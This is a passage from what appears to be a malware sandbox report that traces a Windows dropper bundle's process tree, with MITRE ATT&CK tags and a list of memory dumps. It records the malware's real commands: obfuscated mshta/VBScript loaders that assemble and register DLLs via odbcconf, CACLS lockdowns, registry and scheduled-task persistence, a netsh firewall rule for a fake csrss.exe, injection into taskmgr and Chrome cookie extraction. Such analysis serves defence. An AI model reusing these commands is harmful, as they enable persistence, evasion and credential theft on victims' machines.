        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        5⤵
        
        PID:5748
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        6⤵
        
        PID:5164
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        7⤵
        
        PID:2180
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        7⤵
        
        PID:4564
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        7⤵
        
        PID:1240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /Im "Tue12c14883e83c8847a.exe"
      4⤵
      Kills process with taskkill
      PID:3012

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue120fdd2f651bc16d.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue120fdd2f651bc16d.exe
1⤵
PID:4192
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
  2⤵
  PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1988
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
    3⤵
    PID:1540
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
  2⤵
  PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4172
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
    3⤵
    PID:2324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
  2⤵
  PID:4880
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
    3⤵
    PID:4936
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
  2⤵
  PID:3288
- - C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    3⤵
    PID:4268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
      4⤵
      PID:2972
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1288be7dc9.exe
        
        Tue1288be7dc9.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:4216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
  2⤵
  PID:4296
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
    3⤵
    PID:3360

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue121203abedb9227d.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue121203abedb9227d.exe
1⤵
- Executes dropped EXE
PID:4624

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12a31584cfbfc1.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12a31584cfbfc1.exe" /SILENT
1⤵
- Executes dropped EXE
PID:5052
- C:\Users\Admin\AppData\Local\Temp\is-P6I6R.tmp\Tue12a31584cfbfc1.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-P6I6R.tmp\Tue12a31584cfbfc1.tmp" /SL5="$20200,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12a31584cfbfc1.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:2232
- - C:\Users\Admin\AppData\Local\Temp\is-K9IB3.tmp\winhostdll.exe
    "C:\Users\Admin\AppData\Local\Temp\is-K9IB3.tmp\winhostdll.exe" ss1
    3⤵
    PID:408

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cc5113c749c81.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cc5113c749c81.exe" -u
1⤵
- Executes dropped EXE
PID:3208

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue121203abedb9227d.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue121203abedb9227d.exe
1⤵
PID:1300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
  2⤵
  PID:3844
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E
    3⤵
    PID:4060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
  2⤵
  PID:3692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4608
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"
    3⤵
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
  2⤵
  PID:2832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"
    3⤵
    PID:880
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
  2⤵
  PID:4332
- - C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    3⤵
    PID:4988
- - C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
    3⤵
    PID:600
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
  2⤵
  PID:4568
- - C:\Windows\SysWOW64\cacls.exe
    CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E
    3⤵
    PID:4592

C:\Users\Admin\AppData\Local\Temp\is-8KE5N.tmp\Tue12a31584cfbfc1.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8KE5N.tmp\Tue12a31584cfbfc1.tmp" /SL5="$101E0,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12a31584cfbfc1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4636

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cb9b294f8.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cb9b294f8.exe
1⤵
- Executes dropped EXE
PID:4404

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1288be7dc9.exe
C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1288be7dc9.exe
1⤵
- Executes dropped EXE
PID:4304

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1218094d9d9ff55e.exe
Tue1218094d9d9ff55e.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:4240

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cc5113c749c81.exe
Tue12cc5113c749c81.exe
1⤵
- Executes dropped EXE
PID:4208

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12e263ffd78424c.exe
Tue12e263ffd78424c.exe
1⤵
PID:4200
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  PID:4552
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4552 -s 1512
    3⤵
    - Program crash
    PID:5736

C:\Users\Admin\AppData\Local\Temp\is-JKVBR.tmp\Tue1280bad731c48e8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JKVBR.tmp\Tue1280bad731c48e8.tmp" /SL5="$201C2,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1280bad731c48e8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4168

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12a31584cfbfc1.exe
Tue12a31584cfbfc1.exe
1⤵
- Executes dropped EXE
PID:956

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1223308b45.exe
Tue1223308b45.exe
1⤵
- Executes dropped EXE
PID:2908

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12fa8d5e6db2.exe
Tue12fa8d5e6db2.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2040
- C:\Users\Admin\AppData\Local\fdcFiSakNPa.exe
  "C:\Users\Admin\AppData\Local\fdcFiSakNPa.exe"
  2⤵
  PID:1956
- C:\Users\Admin\AppData\Local\qoF1FtaGaC.exe
  "C:\Users\Admin\AppData\Local\qoF1FtaGaC.exe"
  2⤵
  PID:4560
- - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
    3⤵
    PID:5816
- C:\Users\Admin\AppData\Local\MqKx9zPV93Ui6.exe
  "C:\Users\Admin\AppData\Local\MqKx9zPV93Ui6.exe"
  2⤵
  PID:4812
- C:\Users\Admin\AppData\Local\IRGPR72pLiML.exe
  "C:\Users\Admin\AppData\Local\IRGPR72pLiML.exe"
  2⤵
  PID:5192
- C:\Users\Admin\AppData\Local\JjZkomy.exe
  "C:\Users\Admin\AppData\Local\JjZkomy.exe"
  2⤵
  PID:5328
- - C:\Users\Admin\AppData\Roaming\621276.exe
    "C:\Users\Admin\AppData\Roaming\621276.exe"
    3⤵
    - Executes dropped EXE
    PID:2504
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" VbSCRIPT: clOsE(CREateoBJECT ( "WsCripT.sHElL" ). ruN ( "CMd /q /C TYPE ""C:\Users\Admin\AppData\Roaming\621276.exe"" > ..\wRDKR7pSQqV.eXe && start ..\WRDKR7PSQQV.EXe /PAG4MDzuxFPLgCbV9 & If """" == """" for %r In ( ""C:\Users\Admin\AppData\Roaming\621276.exe"" ) do taskkill -IM ""%~Nxr"" -f " ,0 , tRuE ) )
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4200
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C TYPE "C:\Users\Admin\AppData\Roaming\621276.exe" > ..\wRDKR7pSQqV.eXe&& start ..\WRDKR7PSQQV.EXe /PAG4MDzuxFPLgCbV9 & If "" == "" for %r In ( "C:\Users\Admin\AppData\Roaming\621276.exe") do taskkill -IM "%~Nxr" -f
        5⤵
        
        PID:2348
      - C:\Users\Admin\AppData\Local\Temp\wRDKR7pSQqV.eXe
        
        ..\WRDKR7PSQQV.EXe /PAG4MDzuxFPLgCbV9
        6⤵
        
        PID:1336
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRIPT: clOsE(CREateoBJECT ( "WsCripT.sHElL" ). ruN ( "CMd /q /C TYPE ""C:\Users\Admin\AppData\Local\Temp\wRDKR7pSQqV.eXe"" > ..\wRDKR7pSQqV.eXe && start ..\WRDKR7PSQQV.EXe /PAG4MDzuxFPLgCbV9 & If ""/PAG4MDzuxFPLgCbV9 "" == """" for %r In ( ""C:\Users\Admin\AppData\Local\Temp\wRDKR7pSQqV.eXe"" ) do taskkill -IM ""%~Nxr"" -f " ,0 , tRuE ) )
        7⤵
        
        PID:5712
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C TYPE "C:\Users\Admin\AppData\Local\Temp\wRDKR7pSQqV.eXe" > ..\wRDKR7pSQqV.eXe&& start ..\WRDKR7PSQQV.EXe /PAG4MDzuxFPLgCbV9 & If "/PAG4MDzuxFPLgCbV9 " == "" for %r In ( "C:\Users\Admin\AppData\Local\Temp\wRDKR7pSQqV.eXe") do taskkill -IM "%~Nxr" -f
        8⤵
        
        PID:4948
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCript:cLOsE ( CReatEoBJEcT ( "wsCrIpT.SHelL"). RuN ( "cmD.Exe /Q /c ECHo | Set /P = ""MZ"" > UCgnNq9.C_X & copy /y /b UCgNNQ9.C_X + IUEl.Eh~ + BC1Y0ASY.VAK ..\STnEi.9 & STArT odbcconf /a { RegsVR ..\StnEI.9} & del /Q * " ,0 , tRUE ))
        7⤵
        
        PID:5100
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /c ECHo | Set /P = "MZ" > UCgnNq9.C_X & copy /y /b UCgNNQ9.C_X + IUEl.Eh~+ BC1Y0ASY.VAK ..\STnEi.9 &STArT odbcconf /a { RegsVR ..\StnEI.9} & del /Q *
        8⤵
        
        PID:5136
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECHo "
        9⤵
        
        PID:1956
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>UCgnNq9.C_X"
        9⤵
        
        PID:3172
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf /a { RegsVR ..\StnEI.9}
        9⤵
        
        PID:5044
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "621276.exe" -f
        6⤵
        Kills process with taskkill
        
        PID:3776
- - C:\Users\Admin\AppData\Roaming\5170159.exe
    "C:\Users\Admin\AppData\Roaming\5170159.exe"
    3⤵
    PID:4060
  - - C:\Users\Admin\AppData\Roaming\5170159.exe
      "C:\Users\Admin\AppData\Roaming\5170159.exe"
      4⤵
      PID:5964
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4264
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        
        PID:6096
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe /304-304
        5⤵
        
        PID:408
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1852
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:4704
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:5036
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4772
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5964 -s 612
        5⤵
        Program crash
        
        PID:5348
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4060 -s 588
      4⤵
      Program crash
      PID:5080
- C:\Users\Admin\AppData\Local\ndSwSRjdKONV.exe
  "C:\Users\Admin\AppData\Local\ndSwSRjdKONV.exe"
  2⤵
  PID:5464

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue121203abedb9227d.exe
Tue121203abedb9227d.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1280bad731c48e8.exe
Tue1280bad731c48e8.exe
1⤵
- Executes dropped EXE
PID:744

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
1⤵
PID:3860

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue127732f60465ed.exe
Tue127732f60465ed.exe
1⤵
- Executes dropped EXE
PID:3684

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue126ca26de99.exe
Tue126ca26de99.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3824
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:6016
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:5216

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12128b7887.exe
Tue12128b7887.exe
1⤵
- Executes dropped EXE
PID:1236
- C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12128b7887.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12128b7887.exe"
  2⤵
  PID:5956
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    PID:4360
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      PID:4196
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5956 -s 552
    3⤵
    - Program crash
    PID:2504
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1236 -s 888
  2⤵
  - Program crash
  PID:612

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue126133918d2ff478c.exe
Tue126133918d2ff478c.exe
1⤵
- Executes dropped EXE
PID:3984

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue127b676b8bfa21a.exe
Tue127b676b8bfa21a.exe
1⤵
- Executes dropped EXE
PID:444

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Executes dropped EXE
PID:4192
- C:\Windows\system32\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Process spawned unexpected child process
  PID:6040
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
    3⤵
    PID:6072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5236

C:\Users\Admin\AppData\Local\Temp\9AFF.exe
C:\Users\Admin\AppData\Local\Temp\9AFF.exe
1⤵
PID:4112

C:\Users\Admin\AppData\Local\Temp\B59C.exe
C:\Users\Admin\AppData\Local\Temp\B59C.exe
1⤵
PID:4708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/412-220-0x0000000004B10000-0x0000000004B11000-memory.dmp

Download

memory/412-243-0x0000000002560000-0x0000000002561000-memory.dmp

Download

memory/412-187-0x00000000002D0000-0x00000000002D1000-memory.dmp

Download

memory/444-422-0x0000000000900000-0x0000000000901000-memory.dmp

Download

memory/444-408-0x00000000028A0000-0x00000000028A1000-memory.dmp

Download

memory/444-438-0x00000000036A0000-0x00000000036A1000-memory.dmp

Download

memory/444-429-0x00000000035A0000-0x00000000035A1000-memory.dmp

Download

memory/444-428-0x00000000008D0000-0x00000000008D1000-memory.dmp

Download

memory/444-426-0x00000000008F0000-0x00000000008F1000-memory.dmp

Download

memory/444-423-0x0000000000780000-0x0000000000781000-memory.dmp

Download

memory/444-424-0x00000000008A0000-0x00000000008A1000-memory.dmp

Download

memory/444-396-0x0000000002900000-0x0000000002901000-memory.dmp

Download

memory/444-420-0x00000000035A0000-0x00000000035A1000-memory.dmp

Download

memory/444-418-0x00000000035A0000-0x00000000035A1000-memory.dmp

Download

memory/444-409-0x00000000035B0000-0x00000000035B1000-memory.dmp

Download

memory/444-419-0x00000000035A0000-0x00000000035A1000-memory.dmp

Download

memory/444-416-0x00000000035A0000-0x00000000035A1000-memory.dmp

Download

memory/444-406-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/444-360-0x0000000000600000-0x000000000074A000-memory.dmp

Download

memory/444-402-0x00000000028B0000-0x00000000028B1000-memory.dmp

Download

memory/444-384-0x0000000002910000-0x0000000002911000-memory.dmp

Download

memory/444-389-0x0000000002890000-0x0000000002891000-memory.dmp

Download

memory/444-421-0x00000000008E0000-0x00000000008E1000-memory.dmp

Download

memory/444-382-0x00000000028F0000-0x00000000028F1000-memory.dmp

Download

memory/444-399-0x00000000028D0000-0x00000000028D1000-memory.dmp

Download

memory/676-159-0x0000000000400000-0x0000000000BF1000-memory.dmp

Download

memory/744-271-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/924-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-135-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-142-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-137-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/924-138-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-140-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-134-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/924-139-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/924-130-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/924-133-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/956-330-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/1072-308-0x0000000004D20000-0x0000000004D21000-memory.dmp

Download

memory/1072-315-0x0000000004B20000-0x0000000004B21000-memory.dmp

Download

memory/1080-186-0x00000000033C0000-0x00000000033C1000-memory.dmp

Download

memory/1080-178-0x00000000033C0000-0x00000000033C1000-memory.dmp

Download

memory/1080-228-0x0000000007180000-0x0000000007181000-memory.dmp

Download

memory/1080-299-0x0000000007182000-0x0000000007183000-memory.dmp

Download

memory/1084-363-0x0000000000CB0000-0x0000000000CB1000-memory.dmp

Download

memory/1084-227-0x0000000004D20000-0x0000000004D21000-memory.dmp

Download

memory/1084-242-0x0000000000F80000-0x0000000000F86000-memory.dmp

Download

memory/1084-192-0x0000000000390000-0x0000000000391000-memory.dmp

Download

memory/1300-414-0x0000000000400000-0x000000000043D000-memory.dmp

Download

memory/1316-233-0x0000000003250000-0x0000000003251000-memory.dmp

Download

memory/1316-248-0x0000000006050000-0x0000000006051000-memory.dmp

Download

memory/1316-182-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

Download

memory/1316-355-0x00000000031E0000-0x00000000031E1000-memory.dmp

Download

memory/1316-297-0x0000000006580000-0x0000000006581000-memory.dmp

Download

memory/1316-241-0x00000000057B0000-0x00000000057B1000-memory.dmp

Download

memory/1388-179-0x0000000004C30000-0x0000000004C31000-memory.dmp

Download

memory/1388-219-0x0000000007920000-0x0000000007921000-memory.dmp

Download

memory/1388-260-0x00000000072E0000-0x00000000072E1000-memory.dmp

Download

memory/1388-208-0x0000000007160000-0x0000000007161000-memory.dmp

Download

memory/1388-285-0x0000000007840000-0x0000000007841000-memory.dmp

Download

memory/1388-184-0x0000000004C30000-0x0000000004C31000-memory.dmp

Download

memory/1388-278-0x00000000072E2000-0x00000000072E3000-memory.dmp

Download

memory/1388-310-0x0000000007F50000-0x0000000007F51000-memory.dmp

Download

memory/1984-249-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Download

memory/1984-258-0x00000000024C0000-0x00000000024EC000-memory.dmp

Download

memory/1984-203-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/1984-277-0x00000000026C0000-0x00000000026C1000-memory.dmp

Download

memory/1984-240-0x0000000000750000-0x000000000077E000-memory.dmp

Download

memory/1984-264-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/1984-286-0x0000000004A50000-0x0000000004A51000-memory.dmp

Download

memory/1984-270-0x00000000050B0000-0x00000000050B1000-memory.dmp

Download

memory/1984-293-0x0000000004BA4000-0x0000000004BA6000-memory.dmp

Download

memory/1984-298-0x00000000056C0000-0x00000000056C1000-memory.dmp

Download

memory/1984-312-0x0000000005700000-0x0000000005701000-memory.dmp

Download

memory/1984-251-0x0000000004BA2000-0x0000000004BA3000-memory.dmp

Download

memory/1984-379-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

Download

memory/2040-283-0x0000000000B70000-0x0000000000B71000-memory.dmp

Download

memory/2040-333-0x0000000005530000-0x0000000005531000-memory.dmp

Download

memory/2232-404-0x0000000000800000-0x0000000000801000-memory.dmp

Download

memory/2304-202-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/2304-287-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/3288-431-0x0000000005640000-0x0000000005641000-memory.dmp

Download

memory/3288-434-0x0000000005420000-0x0000000005421000-memory.dmp

Download

memory/3728-290-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/3728-296-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/4028-212-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/4028-370-0x0000000005210000-0x0000000005211000-memory.dmp

Download

memory/4028-245-0x00000000052E0000-0x00000000052E1000-memory.dmp

Download

memory/4088-209-0x00000000000E0000-0x00000000000E1000-memory.dmp

Download

memory/4192-357-0x0000000000400000-0x000000000043D000-memory.dmp

Download

memory/4200-341-0x0000000000F50000-0x0000000000F52000-memory.dmp

Download

memory/4240-336-0x0000000002890000-0x0000000002891000-memory.dmp

Download

memory/4240-346-0x00000000028C0000-0x00000000028C1000-memory.dmp

Download

memory/4240-348-0x0000000002880000-0x0000000002881000-memory.dmp

Download

memory/4240-368-0x0000000006610000-0x0000000006611000-memory.dmp

Download

memory/4240-326-0x0000000000C50000-0x0000000000CB0000-memory.dmp

Download

memory/4240-344-0x00000000028A0000-0x00000000028A1000-memory.dmp

Download

memory/4240-345-0x0000000002850000-0x0000000002851000-memory.dmp

Download

memory/4240-338-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/4304-387-0x00000000054B0000-0x0000000005AB6000-memory.dmp

Download

